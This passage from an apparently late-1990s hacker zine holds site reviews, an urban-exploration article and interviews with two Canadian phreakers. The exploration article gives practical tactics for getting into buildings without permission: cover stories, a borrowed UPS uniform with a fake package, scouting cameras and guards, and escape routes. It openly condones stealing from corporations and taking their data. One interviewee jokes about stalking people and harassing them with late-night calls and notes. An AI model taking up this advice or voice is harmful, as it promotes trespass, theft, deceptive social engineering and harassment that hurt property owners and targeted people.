as a +Discussion board, Guestbook, pictures of payphones, COs, payphone sound clips, +a phone recording archive, payphone news, phone related links, etc. You can +search for payphone numbers, view payphone pics, or discuss payphones and +numbers (such as telco test numbers, etc.) in the discussion board. It's a +must visit for real phone phreaks. ;) + + +United Phone Losers +www.phonelosers.net + +Besides running their site, the UPL has taken over the PLA Phone Director0y +and released a new edition this summer. They also release their own UPL issues +(phreaking texts, social engineering, etc.) and have a message board. The +site has recently undergone a lot of changes. Hopefully they'll keep releasing +the UPL/PLA Phone Director0y. Their new Phone Director0y is also available to +download from www.phonelosers.org (PLA's site). And if you visit there, make +sure you play some sound clips while using demo computers in local computer +stores, really loud. ;) + + +IIRG +www.iirg.org + +The International Information Retrieval Guild has been around forever. The +group's site has issues of Phantasy, IIRG Technical Journals, IIRG CEJ/OCL +Magnitude Archives online. Their site has pages that explain what the group +is about, its history, etc. Besides h/p, they're also into Survivalism and +have many excellent texts that educate people in that area. If you haven't +heard of them, or haven't visited their site for some reason, do yourself a +favour and check it out. Even if you aren't into hacking and phreaking, go +there and grab Cybertek issues... + + +Wraith Tech Industries +www.internettrash.com/users/wraithtech + +This site is a personal favourite of mine. Wraith Tech Industries is a group +of hackers and phreaks from various areas... Their site offers a lot of +information and resources. Goldeneye and the rest of the group are a +knowledgable crew that write articles and work on projects of all types. I've +been in contact with Goldeneye, and we've discussed collaborating on some +projects in a joint venture in the future. He definitely has some unique ideas +for devices and things of that nature that I'd like to explore further. + +They're also a friendly group of people that get what Damage, INC. is doing, +which is a bonus. So, make sure you check out their excellent site. ;) + +Written by BLACKENED ú Damage, INC. (C)opyright 1999. + + +H/P INFORMATION - {H/P} +An explorer's guide to hacking the planet. + +As we enter this new Millennium, one that will no doubt contain advancements +in science and technology that we currently cannot imagine, it's the perfect +time to get back to the basics. And that's just what I intend to do in this +article. Some might call it old school. Others might think of it as low tech. +Regardless of what it's called, or how it's viewed as being, the ideas discussed +in this article are just as relevant and practicle now as they ever were. In +fact, with the dawning of this new Millennium and the advent of the things that +it'll bring in the decades ahead, the spread of this type of information is more +needed now than ever before. Hacking, in the truest sense of the word, is +exploring the unknown. Even in the strictest definition it doesn't necessarily +have to involve computers. However, these aspects of hacking have often been +neglected by most... and so that's the reason I've decided to outline a few of +the ways that a hacker can explore, and thus "hack the planet". If it isn't +already obvious what I'm referring to, it'll all become clear to you in the next +few paragraphs. Be warned though, this type of exploring is dangerous and can +present a serious threat to your life if you're not careful. + + +The Underground: + +Caves, caverns, corridors, bunkers, drains, tunnels, manholes, pipes, subways, +subterrainean rooms, etc. are all examples of the underground world that exists. +Most of the urbanized world's infrastructure is hidden beneath us. But it's +definitely an interesting, exciting world that a relatively small number of +people will ever choose to enter and explore. Indeed, it's for the brave, +adventurous few that have the need to go where nobody else goes. Of hackers, +they're the truely hardcore. And the places they go are the real underground. +Like urban explorers they walk the depths in search of the strange and unique. +Others simply want access to the infrastructure itself, such as the miles and +miles of telco lines that are buried beneath our cities in a maze of jumbled +wires massed together. The rest that choose to enter are either maintenance +workers, murderers hiding dead bodies, or zombies that find themselves lost. + +In order to explore these places of the underground world, there's certain +equipment, skills and knowledge that you'll require that is crucial to your +survival. However, since I'm still relatively inexperienced at exploring things +such as storm drains and the like (which can be a very dangerous venture for +newbies to attempt -- especially alone at night), I'll revert to the experts on +the subject of underground exploration and refer you to the excellent text +"Approach: A Sprawling Manifesto on the Art of Drain Exploring", written by +Predator of the Cave Clan. It's available to read by visiting either +www.caveclan.org or www.infiltration.org + +Basically, I don't feel qualified to hand out advice on equipment, techniques, +avoiding hazzards, precautions, etc. since I still lack the necessary experience +to do so. The Infiltration site also offers a dictionary that covers some of +the terminology that you'll encounter while reading about this type of +exploring. It's helpful, and highly recommended that you read the material +and become as informed as possible *before* attempting to do anything that's +mentioned in this, or any other article on the subject. Being well educated is +so much more important in cases where your very life could depend on if you +know what to do in that situation. And there are definitely life threatening +situations that a person could find themselves in, if they decide to become +involved in exploring these types of places and don't know what the hell they're +doing. So, again, make sure you know the risks, are well equipped and are +well informed/knowledgable before you get started. Chances are nobody else is +going to warn you again, or be there to save your ass once you get into some +serious trouble... so heed the warnings I've given. + + +Above Ground: + +Now that I've covered underground exploration, it's time to go topside for a +tour around the city landscape. In a large metropolitan/urban area (such as +major cities like New York, London, Chicago, Toronto, Montreal, Vancouver) there +are a vast amount of things to explore, from subway tunnels, manholes, drains, +etc. to above ground structures like buildings and the infrastructure that +supports the actual city. That's the focus of this section - the places that +aren't hidden beneath the surface, but still have a lot to offer the curious, +intelligent, urban explorer. + +In terms of access, many of these places don't have a wealth of security. Sure, +some buildings are secured more than others and measures have been taken to +ensure that unauthorized people can't enter them easily, or wander through them +unsupervised or undetected. They use a combination of locks, guards, +surveilance cameras and security systems to prevent access, surveil and protect +their property. But that's to be expected from Banks and large financial +institutions, etc. Some cities, like New York for example, have literally +thousands of government and privately owned cameras mounted on the outside of +buildings. Indeed, Big Brother *is* watching. But Big Bro still isn't +everywhere, yet. And the areas where he isn't spying are precisely where I want +to concentrate the focus of this particular section. Physical security will be +discussed, but not in any great detail. + +Public buildings such as libraries, schools (Universities and Colleges), etc. +are a great starting point. Large buildings, especially older ones, usually +have a variety of areas that are hidden to the public. They're ripe for +exploration. In terms of schools, I've found that summer is the best season +to explore them since there aren't as many people around on campus. You may +encounter the odd janitor or student wandering around, but generally you can +go wherever you want, unobstructed and undisturbed. And even if you aren't +able to find anything really interesting to explore (like a hidden underground +tunnel, a room, passageway, etc.), at least there are always numerous payphones +to play around with. They're also a good cover, since if you're ever questioned +by someone about your activities, you can just claim that you were looking for +a payphone to use. Or make up an equally believable explanation, such as saying +that you're waiting for someone to meet you there. + +Other buildings, such as office towers, Bank headquarters, telco Central +Offices, Hospitals, large factories and production company buildings, etc. can +be more difficult to explore without being harrassed by security. Many of these +require employees and visitors to wear security badges at all times. They're +also known to have security cameras, and in the case of Banks, security guards. +However, most older Hospitals have lax security and are great places to explore. +Their security usually consists of a guard or two, stationed in or around the +emergency room. Many telco buildings don't have guards on patrol at all. They +rely solely on cameras and signs to ward off would be "intruders". And the +vast majority of telco switching stations have very little security. Regardless +of that, if one is intelligent, prepared and determined, any building can be +infiltrated successfully. And sometimes you can walk away with some nice +merchandise that has been generously discarded on or around the premises. What +some view as trash, others look at as being treasure. This falls into the +"trashing" category. Whether you look in trash cans, dumpsters, desk drawers, +shelves, file cabinets, storage bins or any other place in which items may be +for the taking, it's still trashing as far as I'm concerned. And it's as much +a part of hacking the planet (along with recycling, reusing) as anything else. + +During your expeditions you may be required to do certain things in order to +maintain a low profile, avoid being thrown out of a building, or arrested. +It's always best to have a cover story to explain why you're there, have a good +plan, and a backup plan or person to contact if necessary, and sometimes even +a disguise can be helpful in gaining access. This is all part of social +engineering, which can be an extremely useful talent to have at your disposal. +Read my article on Social Engineering in issue #11 for tips on how to talk +and make up cover stories, etc. + +For example, if you're carrying a large stack of documents through the hallway +of a University building during the night, you might look out of place and +a little suspicious to onlookers. But if those documents are piled in a blue +recycling box, and you're questioned about the contents, you can always say that +you were instructed to carry them out to be recycled. Just make sure no one +follows you. An example of using a disguise to enter a restricted area (or a +secured building) would be if you were to borrow and wear a UPS deliveryman +uniform, carry a clipboard and a fake package. Just make sure it looks +authentic so that if you're questioned you are able to pass as a UPS employee. +If you don't look old enough, or don't have the confidence, don't even attempt +it. Also, it's always a good idea to let someone that you trust know what +you're doing, and have a set time to contact them if anything goes wrong. +Always plan it out thoroughly first. Don't try to do any of these things +without being fully prepared and have everything planned ahead of time. +Planning is a very important process, takes time, and should be taken seriously. +It should be done first, well before you enter anywhere, and shouldn't just be +an afterthought. Scout out the place ahead of time if possible. Note the +location of cameras, posted guards, their number and try to find out as much as +possible about the building, like the amount of exits and the general floor +plan. Have a planned route of escape. If you have to go in cold, be extra +careful and aware of who's around and who is watching. The best scenario is +one in which you can explore at your leisure when there's nobody else around. + +As for the rest, it's up to you where you go and what you do while you're +there. Everything is at your discretion and you'll have to decide, based +on your own morals and ethics what to do and what not to do. However, I +will say that I don't advocate destroying and vandalizing property. Nor do +I encourage anyone to do that. It's an unnecessary risk and doesn't offer +you any gain. Other than that, if you're exploring a building that's owned +by a large corporation and want to steal something, that's your choice. Just +as, if you want to access their systems/networks and use services for free, +take data, documents, or whatever else, that's also your choice. I won't +discourage anyone from doing that. I won't discourage anyone from taking +pictures or trophies either. Whatever you do, just as long as you don't put +the lives of other people at risk (such as Hospital patients, the 911 system or +something along those lines), then I wouldn't deem the actions as going too far. + + +Personal Experiences: + +I've explored many buildings, including ones that are located on major +University campuses, manholes, tunnels, corridors, hidden rooms, halls, several +Hospitals, a morgue, a psychiatric facility, a funeral home, a military camp, +etc. over the years. Most of the time I wasn't alone on my expeditions. More +than once I was nearly caught. A few times I was lucky that I wasn't arrested, +seriously injured or killed. In almost all cases there was at least one +instance of an adrenaline rush. I don't regret exploring any of them. Each was +its own unique experience. And each chance that I took was worth it in the end. +Sometimes I needed to take a chance just in order to escape. Sometimes I +wondered what the hell I was doing in certain places. But risk is part of it. +If you don't take any risks, you can't make any discoveries. Nothing ventured +is nothing gained in other words. I won't describe all of my personal +experiences, or the places that I've explored though. I'll just say that it +was interesting, and I don't think I'll ever quit exploring. + +In conclusion, it's all about exploring and going places that you previously +hadn't thought of going before. It's about gaining access the low tech way. +It's about learning and experiencing things the old fashioned way -- in person +rather than from behind a terminal. And it's about collecting the trophies +and treasures that are out there, waiting to be had. Just as importantly, it +is about honing your skills and social engineering the people that are out +there, just waiting to be had. In the process you'll learn a great deal about +physical security, infrastructure, technology, psychology and what it means to +enter the true underground world and face the unknown. You'll learn your +lessons the hard way, with only your wits, skills and your adrenaline to aid +you. But it'll be worth it because in the end you'll have the knowledge and +survival skills to stand on your own. Plus, you will have the opportunity and +ability to explore the world in a way that only a hacker can. So go ahead and +hack the planet... from the inside out. + +Written by BLACKENED ú Damage, INC. (C)opyright 2000. + + +INTERVIEWS AND INTERROGATIONS - {INTERVIEWS} + +In this issue, I decided to do something different by interviewing people +that are actively involved in the Canadian h/p scene. Since this is the 2nd +anniversary issue of the zine, I felt that it was the perfect time to show our +respect for certain Canadians that are making contributions to the scene. +Featured in the spotlight are exclusive interviews with The Clone and +Lord Narayana. Each has their own unique interests, ideas and talents. We +need more people like them to help strengthen and build our scene. I had +planned to include an interview with Cyborg/ASM (Hack Canada), but due to time +constraints he was unable to do an interview at this time. However, we hope +to publish an interview with him in a future issue. At any rate, I hope you +enjoy reading the interviews and make sure you check out their web sites. ;) + + +Alias: The Clone +Group(s): Hack Canada, Nettwerked +Age: Between 2 and 99 +Country: Canada +Description: I believe I failed this very same question back in Junior-High + School, grade eight [1994/1995]. Initially the question was: + "WHO are YOU? Tell me about YOU!" My answer was: "I'm me. I'm + in junior high. That is all." But I'll try not to be a smart + ass. Come on, it's been five years. Alright here were go; + I'm a phreaker as well as a hacker... but I phreak more. + I'm from NPA 780. I started into the "scene" back in 1992. + I'm a mild drinker, a non-smoker, an occational pot smoker, + a frequent speed user, shroomer, popper inhaler. I'm a raver, + party-kid, club-kid whatever the hell you want to call me. + I dislike the AOL children. I dislike the SPAM children. + I dislike wannabe ravers, I dislike wannabe "COMPUTER SECURITY + PROFESSIONALS" with their "professional" web-sites and their + E-Commerce fetish. I dislike the fact that it's "cool" to be + into PSN's [Packet Switching Networks]. I dislike the fact that + it's cool to run Linux. I have Windows and FreeBSD. + "but cl0ne mah m4n.. h0h0h0h0.... it ain't k3wl to run wind0ws. + dOnt j00 kn0w that micr0s0f7 i5 l4me?!!?" Microsoft may be + "lame" but I believe that Windows serves its purpose. I also + believe that if I learn Windows NT security that I will have + a better chance at a good career in the future. Get with the + program you stubborn, naive, bitch. FreeBSD; it's been around + for longer than Linux has. It has less vulnerabilities + than your conventional Linux flavours, more Universities + use it, FreeBSD is source code compatible with most popular + commercial Unix systems and thus most applications require few, + if any, changes to compile. FreeBSD is based on the 4.4BSD-Lite + release from Computer Systems Research Group (CSRG) at the + University of California at Berkeley. It's sexier, and it's not + as commercial as Linux [ie. Redhat]. There you go. Come 0wn me. + +Interests: + +Most forms of technology, Music, Raves, Raver girls, Web-site design and +development, FreeBSD, Aix, OpenVMS, X25 Packet Switching Networks, +phreaking/telephony; Centurian Pay-Phones, Fortress Pay-Phones, Millennium +Pay-Phones, Elcotel CPC 9520C Smart Phone Pay-Phones, Skanning, Voice Mail +Box Systems, Poetry, Dj'ing, the occult, and much much more! + +Music: + +Now this such a general question. *sigh*. Music; I love it. I cannot see +how anyone cannot love music. Music has shaped my character, has made me +feel emotions to their extremes. If one were to ask me "What is the love +of your life?" I would not hesitate to tell them "music". Music to me is +more than a mind altering DRUG, is more than a character shaper, more than +a love. Music is everything. Music is life. Favorite types of music. +Hmm... anything that sounds good? Not specific enough. + + Trance music; because the energy of it makes me feel like + I'm in heaven with the most powerful drug shot into me. + [See Artist; Anti-Loop] + + Ambient; beautiful, hauntingly beautiful. The mellowness + of it. The obscurity of it. Definately one of my favorite + types of music. [See Artist; Aphex Twin] + + Acid; ACID! Who cannot love this stuff? High pitched bleeps + beeps and beats. ;) Hardcore acid is dark and fuckin' cool. + [See Artists; Chemical Brothers (album; Exit Planet Dust) + and Josh Wink.] + + Drum & Bass; Drum and Bass is da shit. One of my favorite + types of music. Old-school drum and bass kicks ass. One of + the few underground things in this sick mainstream society. + [See Artists; Chemical Brothers (album; Dig Your Own Hole), + and Aphrodite (The Takeover Bid: Round One). + + House; Old-school funky house is good. A lot of it is + complete and utter chachie/preppy crap. But Astralwerks + (my favorite record label: www.astralwerks.com) has changed + that. [See Artists; Daft Punk, Basement Jaxx] + +Movies: + +Trainspotting, Terminator II: Special Edition, Foxfire, Vibrating Vixens, +All Three Angels Delight. + +Books: + +I don't have time for books. I'm a Lynx user, so I get my daily reading +wheather I like it or not. + +Email: + +theclone@code.penguinpowered.com +theclone@edmc.net + +IRC: + +irc.2600.net +#2600ca + +URL(s): + +Web-site: Nettwerked - http://nettwerk.hypermart.net +Group Web-site: Hack Canada - http://www.hackcanada.com + + + - Introduce yourself to the readers of the Damage, INC. Newsletter... + +Hey there folks in computer land *waves*. I am The Clone. From NPA +[Area Code] 780 located in Edmonton, Alberta, Canada. + +You're reading this because you are interested in me. I'm not surprised at +all. A lot of people have become interested in me after I popped out of no +where, shooting out some original and fairly good articles on a new +web-site called 'Nettwerked'. I'm also known for my contributions to +Hack Canada as well. + +I'm interested in many aspects of the Hacking and Phreaking world. +I've had a lot of fun with telephones because I'm always exploring new and +exciting systems only available if you find that phone number. Skanning some +prefixes, searching for a challenge. +Exploiting the security on all types of telephone networks is a high for me. +Field Phreaking is great but I can't say I do it often enough. Laziness I +suppose. + +Computers; there is so much I do with them I don't know where to start. +Web-site design, learning FreeBSD, and playing on OpenVMS boxes is a thrill. +Finding new buffer overflows in Lynx is quite a rush. Inventing new forms +of DoS attacks, packet-switching networks, nua skanning, newsgroups, +flaming, falling asleep infront of my computer, staring at a computer screen +for 5 hours straight, staying up late talking to amazing people on chat and +IRC, etc. etc. etc. + + + - How and when was Nettwerked started? What are the goals and purpose of +it? + +Nettwerked was started back in May of 1999. Not too long ago if you read +this file before the 21st century. :) + +Nettwerked started for one main purpose; to contribute to the somewhat dying +Canadian hacking scene. But not just the Canadian hacking scene, the hacking +scene in general. Too many posers out there who haven't discovered that +hacking is more than talking da shit. You have to do projects. You can't +sit there, read a million files and then simply expect to get respect +because you can memorized them. One must invent, innovate, discover, and +learn through experience. Not by standing on the side lines learning old +material. This isn't history class kids. + +Nettwerked has already become what I wanted it to be 4 months ago. +I achived success after the first month and a half of its existance. +My goal was to offer a computer hacking/phreaking site for everyone +specifically Canadians and more specifically Albertians. To offer +new files on a regular basis, and lastly to have a local network for +all local hackers/phreakers (hence the name Nettwerked). + + + - What's your zine, K-1ine about? How was it started? + +-- snipped from K-1ine -- + +{'K-1ine' is a quarterly zine intended for phreakers, old-skool hackers, + and the regular bored housewife + looking for some fun while sweety is at work.} + +-- snipped from K-1ine -- + +Why did I start my own zine? To tell you the truth, I wanted to see what +my files would look like on a huge file with some random gibberish +inbetween. It looked okay. + + + - Which articles that were published in K-1ine stand out in your mind, +and why? + +'An introduction to skanning' where I showed people how cool skanning really +is and why it's worth doing it. + +'The AGNPAC system' A local Government Packet Switching Network Wizbone +and I discovered a few years back. Probably one of the coolest systems +I've ever played around on. + +'Project: INWATS; 909-0000 | 909-6000 Suffix Skan (i909_60SS)' + +The 909-xxxx prefix took me a hell of a long time to skan out by hand. +6000 numbers. One of the larger hand skans on the internet today. + + + - What types of articles and information can we look forward to reading +in future issues of K-1ine? + +Obviously more telephone related material from me, and definately +file contributions from friends. I plan on starting +'K-1ine III: Y-III-K the winter of 2000' +in late November and finishing by at least January, 2000. + + + - What types of things can be found on http://nettwerk.hypermart.net? + +780 Undergr0und Message Board, Two DEFCON picture archives, a growing +E-zines section, a HUGE FILES archive section [all written by me] with +K-1ine I & II, the krew section for my friends, my affiliates section +consisting of HNN, Hack Canada, and Damage Incorporated, Links section, +Lynx Advisories, Nettwerked News, Nettwerked Archived Updates [old +Nettwerked news], News Archives from Wired, Operating System Advisories +[AIX, FreeBSD, OpenVMS], and lastly Skanning. + + + - How do you think Nettwerked is viewed by the majority of visitors to +your site? + +Positively I'm hoping. + + + - What do you think of the current h/p scene, and in your opinion how has +it changed since you began? Also, what's the status of the local h/p scene in +your NPA? + +The current h/p scene is growing in many ways thanks to all of the people +who make it an art and not a crime. Since I've began I can't say it's +changed hugely globally but nationally I can safely say it has. + +In the local scene Nettwerked is helping along side Hack Canada. +Keeping the scene strong. + +Newbies - Keep on learning, trying new things, doing what you love. + +K0d3z/script kids - You make it bad for everyone. You annoying shits... + stop corrupting the poor little newbies! + +Conf whores - Hi whores. + +IRC kiddies - Don't you know that pedophiles hang out here. Watch out. + You'll get cyber ass-raped. + + +OUR LOCAL SCENE IS THRIVING! THANKS MAINLY TO HACK CANADA AND NETTWERKED. + + + - What has been your experience with telco employees as a whole? + +I once talked to a Telus employee about job opportunities with TELUS. +He told me to go to NAIT and take a Telecommunications course before I +even think about it. Nice guy though. + + + - How was DefCon? + +Visit: http://nettwerk.hypermart.net/files, and read + + D E F C O N 7 . 0 + +It's a 27 page article all about DEFCON 7 in Las Vegas this summer '99. :) + + + - Do you read any h/p related zines? If so, please list a few of the +ones that you read and respect. + +Yes! + +BlackZine, Catslash Magazine, Damage Inc., and RuSsIaN UnDeRGrOuND CluB +are all my favorite zines. + +I've helped out Dissident Magazine as well I've contributed some skans to +Damage Inc. + + + - Which h/p groups, if any, do you respect? + +Hack Canada - Obviously. Cyb0rg/asm started it last year and it continues + to grow. + +L0pht - The largest hacker organization in North America. These guys do + so much for the scene it's unbelievable. Props to L0pht. + +Damage Inc. - Damage Incorporated! 416 hackers! Canadian! Excellent zine, + kick ass files. Keep it up. + +Rhino9 - I know I know they broke up. The best security team on the net. + Microsoft better fear the NT WarDoc. ;) + + - Which web sites do you usually frequent? + +Hack Canada - www.hackcanada.com +Hacker News - www.hackernews.com +L0pht - www.l0pht.com +Astralwerks - www.astralwerks.com +Attrition - www.attrition.org +Security Focus - www.securityfocus.com + + + - Do you want to share any memorable hacking/phreaking related experiences? + + + Joke + ---- + +Q: When is a cat not a cat? +A: When it's a dog! + +hehehe. =) + + + - Have you ever been busted? Or, do you know anyone that's been busted? +If so, would you like to describe the event, the circumstances of the bust +and the conclusion? + +Nope, never. + + + - Do you want to mention any boards that you call or people in the scene +that you know? + +Shout outs to: + +All the crew in Hack Canada, Damage Incorporated, irc.2600.net: #2600ca, +ravers, the therapy krEw, Mr.T. + + + - Are there any other interesting things or general comments that you have +and wish to share? + +Yeah! I love raver chicks. I seriously do. I scored with a raver chick +this past weekend. I'm so proud! :) + + + - Thanks for agreeing to be interviewed. Keep up the good work with +Nettwerked, K-1ine and everything else that you're involved in. I visit your +site often to check for new releases, updates and news and think that it's +an excellent source of information. In fact, it's one of my favourite Canadian +sites. ;) It's obvious that you put a lot of time and effort into your site. +Thanks again for the articles and numbers you've contributed. We really +appreciate it man. + +Before I conclude this interview, I'd just like to say that I didn't pick +The Clone at random to be interviewed. We've been corresponding in Email +for several months, discussing various things. He's a cool, knowledgable +person. I respect him and his many contributions to the Canadian scene and +look forward to reading future issues of K-1ine. + + +Alias: Lord Narayana, Bob Narayana, lordn, ln_, lo-rdn, Mark Finnigen, Dr. Egg, + Caro Kann, ck_, Seylon Freylith and my bot obskeur. I'd bet some of you + are surprised on the last half.. You shouldn't be, I told everyone who I + was. These have all been used at some point or another over the past + couple of years. + +Group(s): I am a one man group, but yet I have had many nicks. I could make my + own group and noone would be any wiser. + +Aged: 20somethin'. Fairing fairly ripe, but still too young. + +Country: Earth. This world would be so much better if we were to abolish our + invisible boundaries between us and work together. But, if you must + know, Canada. Heard of it? I should hope so. Were the largest snow + exporter of the world. + +Description: Alive and well on planet earth. I drink. I smoke. I drive. I do + drugs. I have a habit of pissing people off. Some people I can't + beat off with a stick. Everyone is different. Life is different. Be + different? Be yourself. Should being different be different enough? + That's the origionality of it all. + +Interests: People. People are great. They're fun to watch. Even more fun to + stalk. They think you're really after them. Phone them up late at + night and tell them to stop stalking you. Leave a note on their + bedroom window. Write letters to yourself, and have them returned to + their address, with a note saying that it's been refused. Like you + really give a damn what they do every day. What.. are they crazy? + Parapsychology. It breaks down into three things. Near death + hypothesis, ESP, and poltergeist phenominon. Due to popular demand, + I think I will write some stuff for you, the reader at some point. + See the Voice Phonominon file in Blackzine 4, if you're interested + in some new stuff. + I play guitar. They're great to play with. + Telephones. As you can tell. I love to talk. + Social Engineering. As you can tell, since you're reading this, you + love to hear me talk as well. Some people can't stop hearing me talk. + That's a good or bad thing, depending on the person. + Chicks. I don't eat much meat, but chickens are great. So are the + ones which walk around in tight clothes... and weigh less than 120. + Chess. I love games. I love playing games. + Axis and Allies rule. I'm not a D&Der. Got out of that whole scene + years ago. It was fairly easy since I was never really into it. + Religion. I love God. I hope God feels the same. I love to hear about + other religions. I love to hear about other gods. I think that + there's a lot of young promising satanists listening to slayer and + thinking that I'm a nut, you kids are lost and not really into + anything. I think there's also too many people out there who argue + for the sake of arguing. Lastly, I think there's not enough people + who don't think. + Occult sciences. No, I don't play with chemicals anymore. It's scary + shit, and were all in deep, so let's get to a shallow end where we + can figure out what the fuck is going on. Maybe then, we can see what + the shit is all about. + Acid (that's lsd25, not the user). And lots of it. I like uppers in + general. + Lots of other shit people throw at me which i have to get interested + in. By fear, force, choice, or I couldn't duck fast enough, it's a + big part of what people like me do. + Get fucking involved. That's right.. I like sex. No.. lemme rephrase + that. Get involved. + + Getting involved is one of the best things you'll find yourself + doing. + +Music: Music. I hate people who hate music. That's right. I discriminate. I'm + not big on country either. I live in a cowtown. Not too many cowboys + these days. Think they all went to Cochrane or Medicine Hat. I like all + other sorts of music. Most stuff I am into, with the exception of a good + portion of Country. Fairly big on some Jazz. Names like Stan Getz & John + Zorn. Classic Rock. There's too much to list. A Classic response. But + it's rock solid. Generally stuff from 65 onwards. Trip Hop, Hard Trance + Goa and Gabber. Gabber? There's that talking thing again. Check out some + Baby Doc or Jon the Dentist. Hardcore rules. So does Squarepusher, but + he's something else. + +Movies: Blair Witch Project, 1984, gotta be a Stanley Kubrick fan, Clerks, + Saving Private Ryan (the best war movie I have seen), the Usual + Suspects, and of course there's more.. + +Books: Cookoo's Egg, Audrey Rose, The Crack in the Cosmic Egg, the Seth Books, + Anything from U.S. Anderson, Edgar Cayce, not too much in the novel + realm. + +Email: lordn@disinfo.net + +IRC: Not much these days. Undernet and efnet servers. Your best chances are + probably on irc.2600.net #2600ca Need I tell you my nick? + +URL(s): http://poz.8m.com + + + - Introduce yourself to the readers of the Damage, INC. Newsletter... + + - I suppose you could say that I have been around computers for some time. +PC's, however, I haven't been around all that long. I had an atarii 2600 at one +point, used a commie 64 and 128 until the mid 90's. But they weren't of much use +other than for games.. My folks bought me a 486dx2 66mHz back around the end of +95 and against their wishes for fear that they would have an enormous phone +bill, I started calling BBSes. Holy shit.. I can see the leetists +applauding me already. I suppose that this would have been my first hands on +experience of "hacking", in the sense that there was no guidance, no internet, +no outside assistance in even setting up my modem or any terminal program. Also, +this was running at 14.4. The so called scene was brought out very fast, +compared to most people out there. I'll skip a boring month or two and get to +how I got in. + +Shortly after this new venture of mine, several other bbses later and many +sleepless nights on the local chat bbses, someone had passed me a number to what +he told me was a "pirate bbs", which had all sorts of registered games. He also +told me that I was not to give the BBS number out to anyone, because it wasn't +for lamers like most other kids around - and - because it was illegal. + +Since I wasn't born with a computer up my ass and had only experienced the local +PD (public domain) BBS scene for less than a few months, that number sat there +on my desk for quite some time before I built enough courage to call it.. Some +people say that I am paranoid, I guess it's possible. I suppose it was possible +that I was paranoid back then too. After all, why would someone give something +illegal like this out?? Was he a cop? Was he bullshitting? What the hell was +going on here and why would people support pirating??!? Also, why would he +choose me to call this BBS? I didn't have anything to offer. + +Or so I thought at the time. + +[For you kids who've never been on a BBS, there was the public, and the more +private "scene." Not everyone could get into the private scene. Figured I'd get +a question at some point on this..] + +At any rate, when I did get voted into the bbs (which wasn't hard because just +about anyone who applied was allowed on), the first thing I did was download the +BBS list. There were a couple I had applied to, which was my introduction to the +scene. For anyone local to me who remembers a BBS from ages ago, this was Much +to Much James, more commonly known as MTMJ. At 10+ years, it was also one of the +longest surviving BBSes in Calgary, if I recall correctly. It had both an active +file base, as well as an active user and message base. Two other BBS names come +to mind, out of all the rest. Club Penumbra, and the Ides of March (IOM). There +were others which came and died.. This was mostly the case. + +Club Penumbra, I don't recall much about, except that in messages elsewhere +people were discussing how difficult it was to get on there, which confused the +hell outta me. Ides of March (IOM) was the first serious and real warez bbs, +and probably the last serious effort I have ever seen for quite some time. It +eventually reduced itself to a 6 node ringdown, but it had intense files and +messages.. Several gigs of space, and a pile of CD's online, which a few years +ago, was pretty amazing. People would call long distance to upload 30 megs of +warez at 14400. Must be worth something, eh? What made the board, however, was +not the equipment, phone lines, or files, but that the users were all active in +whatever hobby they were into. + +Some new ideas came from it. It had a sister board and it's own message network. +One of the interesting products of it was another private board run on OBV/2 for +it's HP section. What makes this interesting, was that IOM was run on PCBoard, a +totally different software. So you had two different softwares working in +conjunction with each other. When you wanted to move from the files section, +you'd go into the doorway to OBV/2 for the HP section. + +A lot of people I meet on the internet through IRC or other means, possibly +either you, the reader, or even other readers are completely unfamiliar with +BBSes of any sort. I shall elaborate as to why the entire thing was so cool, and +things moved a lot faster. This was our internet. It had it's own rules, users, +all separate from each other, and best of all there was it's own security, which +most of the time was nil. If you wanted to hack a BBS, there were no exploits, +or codes, and generally, virtually nobody you could ask for help. Eliteness ran +in it's own forms, some considered it to be how many ANSI's or ASCII's you have +done, or how many artpacks you had released, or what groups you were in. Each +BBS was separate from each other, there were no channel ops and no rules other +than the ones the Sysop listed for you, which most poeple ignored anyways. + +At any rate, the scene was very much different than the way it is now. You +needed more skill then, than you do now. Skill in the sense that people had to +be familiar with phones, computers, carding and a variety of other things in +order to prove their worth. You see, if you would just start hacking off you own +phone line, then you would get caught and probably never have anything to do +with computers in general again. If you had applied to a BBS, and used your real +phone number for it to verify you because you didn't know how to hack it, then +your info would probably be passed out if you pissed off the wrong people. You +could still get default accounts when you wardialed, including switches. So +things were very much different in the sense that people generally had skills in +all directions, not just one. + +So the whole hp bit was still fairly new to me, as well as my own dos box. I +leeched all the hacking files and all the rest, and periodically went over +them..I had the games, access and files for free, and played with people's +phones and phone lines. This was the easiest thing for me, because I could read +files and take something apart. Hacking wasn't my thing in general because I +didn't know my own computer very well. Although eventually I would pull out a +DOS 6.2 book and read it, the extent of my hacking career at the time was +nothing more than scanning phone numbers like mad, and occasionally playing +around on a dialup or voice system of some sort, as well as a couple of other +things I had listed in Blackzine. + +There were a couple of times I had tried to organize things amongst the locals. +My first effort was to get everyone using Toneloc and get "Scan '96" going. The +purpose for this was to break the entire city up into sections, and we were all +going to scan the city within a couple of months. Of course, nothing became of +this. A lot of people are all talk. When it came down to actually scanning, what +surprised me was that most people used the reason of that they were afraid of +being busted to avoid the task! All for calling phone numbers! In my entire +life, I have never had a problem with anyone or from anyone, from scanning. + +It was around this time that I created the first issue of Blackzine. It wasn't +much more than a list to go into the Toneloc blacklisted numbers section so that +you wouldn't end up calling avoidable numbers and get into trouble. It didn't +start out as Blackzine, but rather as the Blacklist List. I revised the first +issue and cleaned it up a lot for the second issue, organizing it into sections +for easier use. The biggest flaw with the first file was that it was too big for +some people's buffers in Toneloc, so it couldn't be used. The second allowed +people to cut prefixes out and stick them in the Toneloc blacklisted numbers +section in the configuration. Then for the third, I had compiled some +information for people so you would have an idea of what the hell was going on +half the time. This included some defaults, info's on numbers, tekneeqs etc.. so +that at least before you got busted you would mabye know what it was you were +dicking around with. + +Ironically, with regards to being busted, the Blackzine (or Blacklist) idea came +from some security guy who answered the phone when I was scanning late at night, +and said but one word.. I had dialed some number with Toneloc, and the voice +which picked up and answered merely said, "Security". If anything else, I +figured I should stop scanning and see what was really out there, and how I +could cover my ass. Essentially, the word security would start a security mag. + +The white pages (phone book is a phreaks best friend) provided me with all the +numbers in the origional blackzine. I threw in the Blue pages, all the +government and RCMP numbers I could find, as well as any emergency, military, +police and whatever else I could find that I figured would be undesirable to +call at odd hours of the day. I also threw in a bunch of sceners phone numbers.. +It was amazing how people would be so secretive with their info, hack a call +back verifier so that the BBS doesn't have their phone number, and yet give it +out to some guy who wanted to throw it in a Toneloc blacklist so that they +wouldn't be called at odd hours of the day. Go figure. + +And thus, today you have the first issue of Blackzine. + +There is one individual with whom if he did not give me a bit of a purpose in +the telephony world, I would have probably not continued with anything. He was +some kid who phone me up out of the blue at about 10 or 11 one night and asked +if I was into phones.. Turned out he was some 